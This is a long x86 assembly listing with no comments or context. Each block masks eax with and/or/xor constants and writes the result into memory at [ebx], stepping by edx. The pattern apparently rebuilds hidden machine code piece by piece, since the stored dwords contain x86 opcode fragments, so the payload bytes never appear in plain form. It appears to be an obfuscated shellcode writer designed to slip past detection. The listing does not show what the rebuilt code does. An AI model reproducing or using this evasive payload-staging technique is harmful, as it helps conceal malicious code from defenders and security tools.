or eax, 0x4dfbc6a6
and eax, 0x11ac0a4
or eax, 0x50
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b175901
and eax, 0x1005c100
or eax, 0xe0400600
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e247588
xor eax, 0x3b7d3bf2
and eax, 0x4808
or eax, 0x2081
mov dword [ebx], eax
add ebx, edx
and eax, 0x38c979e9
xor eax, 0x72e38f2
and eax, 0x2284043
or eax, 0x50d00584
mov dword [ebx], eax
add ebx, edx
xor eax, 0x43bfbfb5
and eax, 0x4d57314e
and eax, 0x1000000
or eax, 0xc6000098
mov dword [ebx], eax
add ebx, edx
and eax, 0x4a3675b7
xor eax, 0x2739f704
and eax, 0x28d004
or eax, 0x90040041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ecd3867
and eax, 0x44c10000
or eax, 0x1060000
mov dword [ebx], eax
add ebx, edx
and eax, 0x189d0b72
and eax, 0x4dc35980
and eax, 0
or eax, 0x5010b8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26b010df
and eax, 0x24400000
or eax, 0xc005c700
mov dword [ebx], eax
add ebx, edx
and eax, 0x35be4c83
and eax, 0
or eax, 0xa251
mov dword [ebx], eax
add ebx, edx
and eax, 0x4341d016
xor eax, 0x309708bd
and eax, 0x800085
or eax, 0x45404542
mov dword [ebx], eax
add ebx, edx
or eax, 0x6f8fc01b
and eax, 0x4700008d
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6be9ed74
and eax, 0x2401ac41
or eax, 0x3001004
mov dword [ebx], eax
add ebx, edx
or eax, 0xfa61a7
and eax, 0x5c30001
or eax, 0x40040000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b49db1
xor eax, 0x5c5ab1bb
and eax, 0x8d2808
or eax, 0x52d1e4
mov dword [ebx], eax
add ebx, edx
and eax, 0x3f287377
and eax, 0x6919143b
and eax, 0
or eax, 0xd845c700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14e9d893
or eax, 0x30f310f5
and eax, 0x102f0
or eax, 0x8008
mov dword [ebx], eax
add ebx, edx
or eax, 0x3b2bc298
and eax, 0x182040c0
or eax, 0xc0c00507
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e3038ab
and eax, 0x76e2b699
and eax, 0x46000009
or eax, 0x81000112
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d28d0e3
and eax, 0xc28d041
or eax, 0x52c04
mov dword [ebx], eax
add ebx, edx
or eax, 0x3dc78ccc
and eax, 0x5c70000
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32e489e9
or eax, 0x2e2b6f96
and eax, 0x10b01dc
or eax, 0x540000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f832a14
and eax, 0x10000
or eax, 0xe844c700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2332ba2c
and eax, 0x7c24
or eax, 0xc3
mov dword [ebx], eax
add ebx, edx
xor eax, 0x234be829
or eax, 0x4ad384e9
and eax, 0x6ac804c7
or eax, 0x4004100
mov dword [ebx], eax
add ebx, edx
and eax, 0x7084b3fb
xor eax, 0x6850be20
and eax, 0x42
or eax, 0xc7000018
mov dword [ebx], eax
add ebx, edx
or eax, 0x5183d70a
and eax, 0x4200c440
or eax, 0x28440805
mov dword [ebx], eax
add ebx, edx
and eax, 0x305c6369
and eax, 0x440001
or eax, 0x45830000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23d6da97
and eax, 0x10c294
or eax, 0x1080040
mov dword [ebx], eax
add ebx, edx
and eax, 0x48fd3294
and eax, 0x200
or eax, 0xb045c500
mov dword [ebx], eax
add ebx, edx
or eax, 0x44610fe
and eax, 0x281303cf
and eax, 0x10304
or eax, 0x7c21
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b9dc224
and eax, 0x21844505
or eax, 0x144000c2
mov dword [ebx], eax
add ebx, edx
or eax, 0x70fc8710
and eax, 0x45000050
or eax, 0x82000020
mov dword [ebx], eax
add ebx, edx
and eax, 0x2cb3dd10
or eax, 0x1c82a631
and eax, 0x1000a401
or eax, 0x43051044
mov dword [ebx], eax
add ebx, edx
or eax, 0x132d520a
and eax, 0x41090000
or eax, 0x4820000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e6d76fb
and eax, 0x44010000
or eax, 0xa04423dc
mov dword [ebx], eax
add ebx, edx
and eax, 0x218c988d
and eax, 8
or eax, 0xfe84533
mov dword [ebx], eax
add ebx, edx
xor eax, 0x105964d4
and eax, 0x18d
or eax, 0xdc00
mov dword [ebx], eax
add ebx, edx
and eax, 0x14feffc2
xor eax, 0x6ff9517
and eax, 0x4d0800
or eax, 0xf8008300
mov dword [ebx], eax
add ebx, edx
or eax, 0x46eb7999
or eax, 0x2e4f890
and eax, 0x7cc44919
or eax, 0x1000422
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f2e58ad
and eax, 0x2c444509
or eax, 0x80018200
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a1d99da
and eax, 1
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3b019ffa
and eax, 0x10107eb
or eax, 0x44c60000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x758cedf8
and eax, 0x3a6acf36
and eax, 0
or eax, 0xac
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e6ce739
and eax, 0xb8e8291
and eax, 0
or eax, 0xf4558b00
mov dword [ebx], eax
add ebx, edx
and eax, 0x584e706e
and eax, 0x40000
or eax, 0x89a8550b
mov dword [ebx], eax
add ebx, edx
or eax, 0x573716ed
or eax, 0x49f65e08
and eax, 0xdfff5c85
or eax, 0x20002010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x59307443
and eax, 0x14a8ce72
and eax, 0x4000852
or eax, 0xf04583ad
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f56ed96
and eax, 0x89016001
or eax, 0x8882
mov dword [ebx], eax
add ebx, edx
or eax, 0x322c1f48
xor eax, 0x4d71b413
and eax, 0xb4004040
or eax, 0x983b405
mov dword [ebx], eax
add ebx, edx
xor eax, 0x112f95cf
and eax, 0x62923fbe
and eax, 0x20802108
or eax, 0xdf7fde74
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79e5bd26
and eax, 0x9235eb7
and eax, 0x200
or eax, 0xa3840d00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x53ee0c76
xor eax, 0x7c1799fd
and eax, 0x88000000
or eax, 0x3000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c63bdcf
and eax, 0x4d79a0a0
and eax, 0x4d21a000
or eax, 0x12444d
mov dword [ebx], eax
add ebx, edx
and eax, 0x4f732c40
and eax, 0x6768b9
and eax, 0x32000
or eax, 0x8b0854c4
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b2db7eb
and eax, 0x512bd445
or eax, 0x4000810
mov dword [ebx], eax
add ebx, edx
xor eax, 0xdbb7028
and eax, 0x18102838
or eax, 0xa4451380
mov dword [ebx], eax
add ebx, edx
xor eax, 0x153e6463
and eax, 0x796d837c
and eax, 0x1090058
or eax, 0x44821824
mov dword [ebx], eax
add ebx, edx
or eax, 0x40e7784b
and eax, 0x4045386c
or eax, 0x98000380
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c6d4d09
and eax, 0x4c09106c
or eax, 0x1820010
mov dword [ebx], eax
add ebx, edx
or eax, 0x3bd1276f
or eax, 0x3cabc7d2
and eax, 0x704933c0
or eax, 0x80040800
mov dword [ebx], eax
add ebx, edx
or eax, 0x61ec0ac3
and eax, 0x4db2f58b
and eax, 0x41800000
or eax, 0x140b087c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x25f06182
and eax, 0x305129fc
or eax, 0x80041200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ebf1295
or eax, 0x49a41740
and eax, 0x458a3869
or eax, 0x14014
mov dword [ebx], eax
add ebx, edx
or eax, 0x31cb86e1
or eax, 0x6e5c2524
and eax, 0x40453bd8
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4779a555
and eax, 0x45091c5d
or eax, 0x8820020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x17ee4fc3
and eax, 0x576f9cc8
and eax, 0x50450088
or eax, 0xac082b34
mov dword [ebx], eax
add ebx, edx
and eax, 0x5eec23c9
and eax, 0x54080000
or eax, 0x1831474
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7ec54a80
and eax, 0x14a02f0
or eax, 0xa08108
mov dword [ebx], eax
add ebx, edx
or eax, 0x6ab97240
and eax, 0xbf85188
or eax, 0x80000401
mov dword [ebx], eax
add ebx, edx
or eax, 0x21d77e1c
and eax, 0x10b7005
or eax, 0x44008040
mov dword [ebx], eax
add ebx, edx
and eax, 0x30b792c7
and eax, 0x11040
or eax, 0xe0442bb8
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f4b32eb
and eax, 0x40010068
or eax, 0xd8a0814
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75f1acf3
xor eax, 0x5af6c0c0
and eax, 0x600c2040
or eax, 0x80411b90
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b925f63
xor eax, 0x2d1c3ec2
and eax, 0x5080400
or eax, 0x5083487d
mov dword [ebx], eax
add ebx, edx
xor eax, 0xb292225
and eax, 0x58002a40
or eax, 0x805501a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x35f82688
and eax, 0x6dac0528
or eax, 0x10505013
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c5af97c
or eax, 0x24a1e231
and eax, 0x20418328
or eax, 0x90040800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5fb80786
xor eax, 0x418526c
and eax, 0x69e44402
or eax, 0x14180139
mov dword [ebx], eax
add ebx, edx
and eax, 0x62d10e11
xor eax, 0x4d2cc285
and eax, 0x2844c600
or eax, 0x80010109
mov dword [ebx], eax
add ebx, edx
or eax, 0x6f848cac
and eax, 1
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x779d612
xor eax, 0x3b17ffba
and eax, 0x44601a9
or eax, 0x41810642
mov dword [ebx], eax
add ebx, edx
and eax, 0x4bd0798
xor eax, 0x7796d05a
and eax, 0x80
or eax, 0x28
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c06ca46
and eax, 0x48048a00
or eax, 0xa0490100
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d46b5f3
and eax, 0x60000100
or eax, 0x14a84c23
mov dword [ebx], eax
add ebx, edx
or eax, 0x543122a8
and eax, 0x40110b08
or eax, 0x80448000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ecc27cb
xor eax, 0x4c5b5fa3
and eax, 0x4145423
or eax, 0x71e00110
mov dword [ebx], eax
add ebx, edx
and eax, 0x1453119a
or eax, 0x5d98e44a
and eax, 0x44408110
or eax, 0x80050a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x43699f07
and eax, 0x40000100
or eax, 0x35bc440b
mov dword [ebx], eax
add ebx, edx
and eax, 0x340fe15e
and eax, 0x240c0108
or eax, 0xc8418a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c6e2227
and eax, 0x200903
or eax, 0x74dc4400
mov dword [ebx], eax
add ebx, edx
or eax, 0x59d493ae
xor eax, 0x600b981c
and eax, 0x550301
or eax, 0xe0008808
mov dword [ebx], eax
add ebx, edx
or eax, 0x193d7304
and eax, 0x8901c201
or eax, 0x82
mov dword [ebx], eax
add ebx, edx
xor eax, 0xec728cd
and eax, 0x2c0e044
or eax, 0x58280011
mov dword [ebx], eax
add ebx, edx
and eax, 0x241f0133
or eax, 0x7a41dfd6
and eax, 0xa000040
or eax, 0x81000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1021b534
and eax, 0
or eax, 0xc083e445
mov dword [ebx], eax
add ebx, edx
xor eax, 0x620ef6f4
and eax, 0xa0050001
or eax, 0x44408900
mov dword [ebx], eax
add ebx, edx
or eax, 0x53a41604
or eax, 0x3b49cb12
and eax, 0x1051c00
or eax, 0x200e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x553b6179
xor eax, 0x268a9912
and eax, 0x20048000
or eax, 0x490b00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3aa0b809
or eax, 0x19f14b6e
and eax, 0xab94101
or eax, 0x4008080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5fa6dee3
and eax, 0x51010000
or eax, 0xa0800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2811c972
and eax, 0x4062
or eax, 0x1085
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5067e499
and eax, 0x6af4770c
and eax, 0x1408
or eax, 0x81084183
mov dword [ebx], eax
add ebx, edx
or eax, 0x33793aae
and eax, 0x797fa2
or eax, 0x808050
mov dword [ebx], eax
add ebx, edx
and eax, 0x4f27fa79
and eax, 0x208000
or eax, 0x4ad20100
mov dword [ebx], eax
add ebx, edx
and eax, 0x19464e18
xor eax, 0x59f013b9
and eax, 0x89
or eax, 0x88000044
mov dword [ebx], eax
add ebx, edx
xor eax, 0xd90676d
and eax, 0x100480
or eax, 0x800a
mov dword [ebx], eax
add ebx, edx
or eax, 0x2269b6
xor eax, 0x4bcab552
and eax, 0x281800
or eax, 0x9007a000
mov dword [ebx], eax
add ebx, edx
or eax, 0x68dbb1f7
xor eax, 0x6ae7f2fc
and eax, 0x80000
or eax, 0x45230000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f3c6ab1
and eax, 0x23231eab
and eax, 0x2000000
or eax, 0xb5e0350c
mov dword [ebx], eax
add ebx, edx
and eax, 0x8b2a8a8
and eax, 0x802008
or eax, 0x4d0bdff7
mov dword [ebx], eax
add ebx, edx
or eax, 0x1943e79f
and eax, 0x9c1812c
or eax, 0x80300000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x80c8297
or eax, 0x227c142d
and eax, 0x810000a1
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x61b7499a
and eax, 0x254901
or eax, 0x894c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x7dae65c5
and eax, 0x200100
or eax, 0x49d18000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3f774c6a
xor eax, 0x1820c909
and eax, 8
or eax, 0x88000070
mov dword [ebx], eax
add ebx, edx
and eax, 0x470a5fe5
and eax, 0x43b3cc0d
and eax, 0
or eax, 0x108481
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6318240c
and eax, 0x6100a000
or eax, 0x8431a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e4596bd
and eax, 0x40010000
or eax, 0x152a0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x234e517d
and eax, 0x76600110
or eax, 0x80928000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x101c7b7a
and eax, 0xa000002a
or eax, 0x18000014
mov dword [ebx], eax
add ebx, edx
and eax, 0x2789d51c
and eax, 4
or eax, 0x2182
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e6e439
xor eax, 0x3f6e8839
and eax, 0x31084502
or eax, 0x4240029
mov dword [ebx], eax
add ebx, edx
or eax, 0x4723db8d
or eax, 0x64f005d
and eax, 0x776f15ae
or eax, 0x88902000
mov dword [ebx], eax
add ebx, edx
and eax, 0x24e9ee2f
and eax, 0x800008
or eax, 0x10049080
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a0ab66c
xor eax, 0x84e2dd7
and eax, 0x8080000
or eax, 0x65b10000
mov dword [ebx], eax
add ebx, edx
and eax, 0x380d7df
or eax, 0x565fc71b
and eax, 0x3000001
or eax, 0x28000080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x798b0d8f
and eax, 0x5081040c
or eax, 0xa1001041
mov dword [ebx], eax
add ebx, edx
and eax, 0xd2faca0
and eax, 0
or eax, 0x43d7
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6cc61926
and eax, 0x45081
or eax, 0x8108050a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x35d388a6
and eax, 0x8f8900
or eax, 0x2000c2
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc688200
and eax, 0xc20100
or eax, 0x13308000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e5a06c
or eax, 0x359d69e3
and eax, 0x180
or eax, 0x88000008
mov dword [ebx], eax
add ebx, edx
and eax, 0x72d712d5
or eax, 0x504b5960
and eax, 0x80
or eax, 0x10840a
mov dword [ebx], eax
add ebx, edx
or eax, 0x679ec193
and eax, 0x74f7fd8
and eax, 0x40100
or eax, 0xf8418a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x29304c6b
or eax, 0x468aac94
and eax, 0x800a880
or eax, 0x81014003
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe00783c
and eax, 0x6009005
or eax, 0x18e86840
mov dword [ebx], eax
add ebx, edx
xor eax, 0x30650a5f
and eax, 0x2800001a
or eax, 0xc0000081
mov dword [ebx], eax
add ebx, edx
or eax, 0x540a51b4
xor eax, 0x7bbba79
and eax, 0x6340
or eax, 0x20039
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f0ae8a
and eax, 8
or eax, 0x81204d83
mov dword [ebx], eax
add ebx, edx
or eax, 0x5801763a
and eax, 0x10cb1
or eax, 0x968040
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f755781
and eax, 0x10000
or eax, 0xa1c08100
mov dword [ebx], eax
add ebx, edx
and eax, 0x353eab0a
or eax, 0x5c395093
and eax, 0x1000013
or eax, 0x8000000c
mov dword [ebx], eax
add ebx, edx
and eax, 0x65a358a
and eax, 0
or eax, 0x6d982cf1
mov dword [ebx], eax
add ebx, edx
or eax, 0x768a7df6
and eax, 0x74183861
or eax, 0x80048200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f1a2b22
xor eax, 0x28b592a8
and eax, 0x11230000
or eax, 0x44080000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3558a3fe
and eax, 0x11000000
or eax, 0x8f2811c
mov dword [ebx], eax
add ebx, edx
or eax, 0xdb86f6b
and eax, 0x900004e
or eax, 0x80000080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64656571
and eax, 0x48a
or eax, 0x108000
mov dword [ebx], eax
add ebx, edx
or eax, 0x689f215
or eax, 0x4158367f
and eax, 0x4418200
or eax, 0x28040900
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa992399
and eax, 0x8c2009
or eax, 0x35104
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4713e427
and eax, 0x786bcd80
and eax, 0x40000500
or eax, 0xaf033000
mov dword [ebx], eax
add ebx, edx
or eax, 0x39ab2208
and eax, 0x4d8b0000
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a14545d
and eax, 0x181000c
or eax, 0x408100
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a4fa099
and eax, 0x1000019
or eax, 0x80000002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x63ed1b32
and eax, 0xe10921
or eax, 0x1260d0
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e1bf66a
and eax, 0x10000
or eax, 0x84808800
mov dword [ebx], eax
add ebx, edx
or eax, 0x16f4e0af
and eax, 0x2935cc6e
and eax, 0
or eax, 0x8b000010
mov dword [ebx], eax
add ebx, edx
or eax, 0x40734c46
and eax, 0x1f371f5
and eax, 0x10054
or eax, 0xc2802c01
mov dword [ebx], eax
add ebx, edx
and eax, 0x37e5f51a
and eax, 0x2400
or eax, 0x5b08
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ed66530
and eax, 0x7d33e284
and eax, 0x48100200
or eax, 0x2284f081
mov dword [ebx], eax
add ebx, edx
or eax, 0x2946ad0b
xor eax, 0x32e7b9de
and eax, 0x48300001
or eax, 0xa2880000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3b5fed19
and eax, 0x2b000008
or eax, 0xc2
mov dword [ebx], eax
add ebx, edx
or eax, 0x430b992d
and eax, 0x69ca2c1c
and eax, 0x29000004
or eax, 0x2351041
mov dword [ebx], eax
add ebx, edx
and eax, 0x55e20875
or eax, 0x4c1bf901
and eax, 0x8000000
or eax, 0x800000a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f579479
xor eax, 0x733be0b1
and eax, 0x400
or eax, 0x108090
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c37b3e6
and eax, 0x500a2f02
and eax, 0
or eax, 0x4ad5b900
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f6383aa
xor eax, 0x5f86b48b
and eax, 0x5030000
or eax, 0x48280000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x41cfd62b
and eax, 0x18244573
and eax, 0x200000
or eax, 0x96d18114
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e865b69
and eax, 0x8800000c
or eax, 0x3000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x13f1f048
and eax, 0x27803be0
and eax, 0x2000000
or eax, 0xe0812455
mov dword [ebx], eax
add ebx, edx
or eax, 0x3eb98816
and eax, 0x40
or eax, 0x1a8
mov dword [ebx], eax
add ebx, edx
and eax, 0x48665734
xor eax, 0x50d396fb
and eax, 0x50829281
or eax, 0x70c6000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2171fa92
xor eax, 0x340c6f
and eax, 0x62810000
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x36aa2a03
and eax, 0
or eax, 0x4b7d
mov dword [ebx], eax
add ebx, edx
and eax, 0x21ad02bd
and eax, 0x5107a546
and eax, 0
or eax, 0x4200f281
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34f595
and eax, 0x67f8475d
and eax, 0x2000000
or eax, 0x88880000
mov dword [ebx], eax
add ebx, edx
or eax, 0x134111b0
xor eax, 0x2603323a
and eax, 0x80
or eax, 0x1004
mov dword [ebx], eax
add ebx, edx
or eax, 0x28d33f6c
and eax, 0x20000588
or eax, 0x52c4003
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c50af22
and eax, 0x6d7c6f28
or eax, 0x92830040
mov dword [ebx], eax
add ebx, edx
or eax, 0x52c7c1a7
and eax, 0x4c0f0e25
or eax, 0x10
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c87cb6
or eax, 0x2d4f50c7
and eax, 0x244d0a61
or eax, 0x8108
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3388b537
and eax, 0x12c53000
or eax, 0xc83ac181
mov dword [ebx], eax
add ebx, edx
xor eax, 0x173096af
and eax, 0xc1810000
or eax, 0x30000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e580c91
and eax, 0x880
or eax, 0x6362
mov dword [ebx], eax
add ebx, edx
or eax, 0x6ffb6a39
and eax, 0x800189
or eax, 0x10048000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a1b75c1
and eax, 0
or eax, 0x558b0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7d625039
xor eax, 0x3ff5da7d
and eax, 0x15088044
or eax, 0x28e20180
mov dword [ebx], eax
add ebx, edx
or eax, 0xf6d274e
and eax, 0x9000004
or eax, 0x80000010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d41f146
and eax, 0x401c050
or eax, 0x418a0405
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d8817ac
and eax, 0x4000000
or eax, 0xc0452bd8
mov dword [ebx], eax
add ebx, edx
and eax, 0x68201bd0
or eax, 0x20f8a33c
and eax, 0x60d80188
or eax, 0x8b004401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x65750380
or eax, 0x513bc30
and eax, 0x880d8a09
or eax, 0x50400100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x548986dd
and eax, 0x88000180
or eax, 0x101c003
mov dword [ebx], eax
add ebx, edx
or eax, 0x54adf441
and eax, 0x5589d041
or eax, 0x2080c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a172c76
and eax, 0x3c143018
or eax, 0x80410bc0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5233840e
and eax, 0x4248d06
or eax, 0x990009
mov dword [ebx], eax
add ebx, edx
and eax, 0x1342e2b8
and eax, 0x18eceb6a
and eax, 0
or eax, 0x458b0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f1bff0a
xor eax, 0x1f039b61
and eax, 0x40000028
or eax, 0xac450390
mov dword [ebx], eax
add ebx, edx
or eax, 0x45cbd633
xor eax, 0xd668aff
and eax, 0x60804500
or eax, 0x1c54003b
mov dword [ebx], eax
add ebx, edx
and eax, 0x73775b37
or eax, 0x265cb7bc
and eax, 0x604c8320
or eax, 0x80010800
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b5a2b4a
xor eax, 0x5fb6c4be
and eax, 0x1be44d02
or eax, 0x20000001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x17b0d198
and eax, 0x4549c09
or eax, 0x11284044
mov dword [ebx], eax
add ebx, edx
and eax, 0x61073d09
xor eax, 0x70c916c4
and eax, 0x1840089
or eax, 0x82305502
mov dword [ebx], eax
add ebx, edx
or eax, 0x23179fc0
and eax, 0x697af7bc
and eax, 0x1000180
or eax, 0x54890042
mov dword [ebx], eax
add ebx, edx
or eax, 0x722c1cf7
and eax, 0x340509b4
or eax, 0x80408200
mov dword [ebx], eax
add ebx, edx
and eax, 0x2aa47e03
xor eax, 0x5ca4335a
and eax, 0xc80010a
or eax, 0x3544421
mov dword [ebx], eax
add ebx, edx
or eax, 0x208f22b8
and eax, 0x2520e5e4
and eax, 0x2480
or eax, 0x19204
mov dword [ebx], eax
add ebx, edx
or eax, 0x49f1b5e4
xor eax, 0x79b6838b
and eax, 0x30450000
or eax, 0xc0088b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x79bdda67
and eax, 0xf9788901
or eax, 0x6000488
mov dword [ebx], eax
add ebx, edx
and eax, 0x704651f9
and eax, 0x6de01bf6
and eax, 0x40000180
or eax, 0x158bfe7f
mov dword [ebx], eax
add ebx, edx
and eax, 0x30001ab2
and eax, 0x10000880
or eax, 0x64958148
mov dword [ebx], eax
add ebx, edx
and eax, 0x29dbb390
and eax, 0x918180
or eax, 0x8b6e7e7f
mov dword [ebx], eax
add ebx, edx
or eax, 0x2d2b3c30
and eax, 0xa883c845
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3400e386
and eax, 0x544082d2
and eax, 0x40000000
or eax, 0x88458901
mov dword [ebx], eax
add ebx, edx
and eax, 0x5443ec09
or eax, 0x56211ceb
and eax, 0x56608c8b
or eax, 0xa9180100
mov dword [ebx], eax
add ebx, edx
and eax, 0x4352bac0
and eax, 0x1108880
or eax, 0x8c2b777f
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b1cc58d
and eax, 0x918c504
or eax, 0xf6e73a70
mov dword [ebx], eax
add ebx, edx
or eax, 0x536ef678
and eax, 0x2d91ccb0
and eax, 0x5814830
or eax, 0x500a004c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7fdef2e0
or eax, 0x25b21f4b
and eax, 0x2c5523dc
or eax, 0xc0000020
mov dword [ebx], eax
add ebx, edx
or eax, 0x11cf6a36
or eax, 0x30591a0
and eax, 0xfc0513a
or eax, 0x200401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x31bbcc0c
xor eax, 0x528c1996
and eax, 0x10081
or eax, 0x7e0c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x17f64bfb
and eax, 0x22dd1e8f
and eax, 0x450000
or eax, 0xcc008b00
mov dword [ebx], eax
add ebx, edx
and eax, 0x7432b6b2
and eax, 0x744bf4de
and eax, 0x4000000
or eax, 0xbe0453b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a0b04ec
xor eax, 0x6428bdd1
and eax, 0x17004
or eax, 0x289
mov dword [ebx], eax
add ebx, edx
xor eax, 0x671fa50d
xor eax, 0x4d26d1a4
and eax, 0x20080200
or eax, 0xd4458900
mov dword [ebx], eax
add ebx, edx
and eax, 0x26afbcf6
and eax, 0x24008800
or eax, 0xdb700589
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f858482
and eax, 0x55818d8b
or eax, 0xa7274
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38b843c2
and eax, 0x3883e86
and eax, 0x800
or eax, 0x6c9581e8
mov dword [ebx], eax
add ebx, edx
or eax, 0x668a388
and eax, 0x5dce1988
and eax, 0x8cc0988
or eax, 0x8333f677
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6541ff9a
and eax, 0xe8820045
or eax, 0x1f400
mov dword [ebx], eax
add ebx, edx
or eax, 0x295c3a75
and eax, 0xe0458801
or eax, 0x14000100
mov dword [ebx], eax
add ebx, edx
and eax, 0xf495d4b
and eax, 0x251c48f6
and eax, 0x4000800
or eax, 0xfb70858b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x254f6713
xor eax, 0x74d2fa15
and eax, 0x8c29108d
or eax, 0x112ef72
mov dword [ebx], eax
add ebx, edx
and eax, 0x79923c7e
and eax, 0x9123c6c
or eax, 0xf6edc300
mov dword [ebx], eax
add ebx, edx
and eax, 0x731b404
and eax, 0x1018404
or eax, 0x44090b
mov dword [ebx], eax
add ebx, edx
or eax, 0x840d9b7
and eax, 0x1010000
or eax, 0x548a0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3cda2301
and eax, 0x6974d2cb
and eax, 0
or eax, 0xf0553bf8
mov dword [ebx], eax
add ebx, edx
and eax, 0x63ea899f
and eax, 0x15e583bb
and eax, 0x108
or eax, 0x1398c07
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74626396
xor eax, 0x2e2c03fa
and eax, 0x41030000
or eax, 0x4880000
mov dword [ebx], eax
add ebx, edx
